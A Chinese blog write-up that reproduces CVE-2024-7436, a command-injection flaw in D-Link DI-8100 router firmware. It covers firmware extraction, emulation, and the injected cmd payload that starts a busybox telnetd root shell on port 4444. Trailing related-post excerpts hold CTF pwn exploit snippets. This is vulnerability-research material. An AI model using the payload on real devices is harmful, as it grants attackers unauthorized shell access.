CVE-2024-7436

发表于2025-11-10|更新于2025-11-20|CVE

|总字数:456|阅读时长:1分钟|浏览量:

[[CVE]]
[固件下载](D-Link Technical Support](https://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100)
Ubuntu18
IDA9.1
binwalk
[[FirmAE]]
[[firmwalker]]

固件分析

固件解包

1	binwalk -Me DI_8100-16.07.26A1.zip

使用firmwalker进行扫描

1	./firmwalker.sh /home/blonet/下载/CVE-2024-7436/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root

搜索与jhttp相关的文件

1	grep -ir "jhttpd"

分析sbin/rc

rc里起的jhttpd服务

系统启动过程中会执行名为 init 的程序，这边做了软连接，启动时就会启动rc程序

固件模拟

使用FirmAE进行模拟

1	sudo ./run.sh -d dlink DI_8100-16.07.26A1.trx

漏洞分析

漏洞在于msp_info.htm 页面中 cmd参数造成命令执行

分析服务文件jhttpd

命令执行漏洞

访问页面显示错误:没有flag

flag内容是我们传入的，根据flag内容会执行不同的命令，flag=cmd的时候就是执行我们漏洞函数

我们使用bp获取访问msp_info.htm页面时的http请求包

添加flag内容进行发送，显示not cmd

成功进入

我们再尝试别的命令

使用ls显示no order,please help，jhttpd中没有此字符串内容，搜索对应的文件

1	grep -ir "no order,please help"

字符串在usr/sbin/wys中

说明sprintf(ad2, "wys %s > /tmp/msp.info 2>&1", parm_2);实际上执行了
其中wys程序，发现他是一个类似busybox的程序

使用cmd=|busybox%20ls有正确回显

使用FirmAE的shell查看busybox工具箱中有那些内容可以使用

其中可以通过telnetd,来进行反弹shell
我们先测试，在FirmAE的shell使用telnetd是否可以完成反弹shell的操作

1 2	busybox telnetd -l /bin/sh -p 4444 telnet 192.168.0.1 4444

成功

现在我们只需要将cmd=/bin/busybox telnetd -l /bin/sh -p 4444传入即可

相关推荐

浅红欺醉粉，肯信有江梅直接nc连接即可借的东风破金锁输入的内容只要相等即可但是直接输入就超出了范围 ai搜出输入方法 12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import * #引用pwntools库from LibcSearcher import *misaki=1if misaki: context(log_level='debug',arch='amd64',os='linux')else: context(log_level='debug',arch='i386',os='linux')ming=1if ming: p=remote('challenge.qsnctf.com',31915)#配置远程连接nc challenge.qsnctf.com 31915else: ...

1-pwn43 ida打开文件后发现有明显的溢出点有systeam函数可以使用，但是没用/bin/sh，尝试使用libc无法成功 gdb vmmap可以查看到程序有一段可写的部分，可以使用这一部分去写入/bin/sh 使用objdump -d -j .plt pwn命令可以查看到程序的函数plt地址 12345678910111213141516171819202122232425from pwn import * #引用pwntools库context(log_level='debug',arch='i386',os='linux')ming=1if ming: p=remote('pwn.challenge.ctf.show',28282)#配置远程连接 28282else: p=process("pwn")#配置本地连接:#gdb.attach(p)main_add=0x080487AFsystem=0x804845...

ez_pwn 关闭标准输出流溢出点考虑使用wirte(2, got, 0x200) 程序 gadget 有 rdi 和 rsi，rdx 调试后发现没有被修改过还是 200，就无需修改，泄露 write 的真实地址，算出偏移，即可获得 sh 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import * #引用pwntools库from LibcSearcher import *misaki=1if misaki: context(log_level='debug',arch='amd64',os='linux')else: context(log_level='debug',arch='i386',os='linux')ming=1...

此文章参考了： CTFshow PWN162 堆利用技巧大杂烩_ctfshow-pwn-162-CSDN博客好好说话之IO_FILE利用（1）：利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客使用realloc函数来调整栈帧让one_gadget生效 - ZikH26 - 博客园感谢师傅的讲解本文章只描述了本地是操作是如何打通程序的，远程需要爆破出I0_2_1_stderr_ 的第四位 1/16 概率本题使用了double_free，unsortedbin_attack 、_IO_2_1_stdout、house of spirit，UAF 经典的增删改查 add 后会有一个固定的 0x28 大小的 chunk，和一个自行输入 size 大小的 chunk，size 被限制大小，add 的 chunk 数量也被限制为 0x13，并且 s->data 为 inuse 此时的堆结构 show 是假函数，无法 show delete 函数中，if 检测 chunk_s+v1 实际上并不是inuse 的值，所以这边是一个假判...

muea 中只有 add 和 delete add 中使用的是 realloc 什么是 realloc 呢？可以参考如下文章 https://squarepants0.github.io/2020/11/18/2019-realloc-magic-realloc-yu-tcache/#toc-heading-2 简单来说就说 mallco 和 free 的结合 plus 版 1234567891011void *realloc(void *ptr, size_t size)# ptr=0 && size!=0# 视作mallco(size) 返回对应的地址# ptr!=0 && size==0# 视作free(ptr)#ptr!=0 && size!=0#当上一次mallco返回的ptr值的size > 现在需要申请的size，则会进行缩小，然后多余的进行free#当上一次mallco返回的ptr值的size < 现在需要申请的size，则会进行扩容#如果上一次mallco返回的ptr已经被free了，且 <...

评论

数据加载中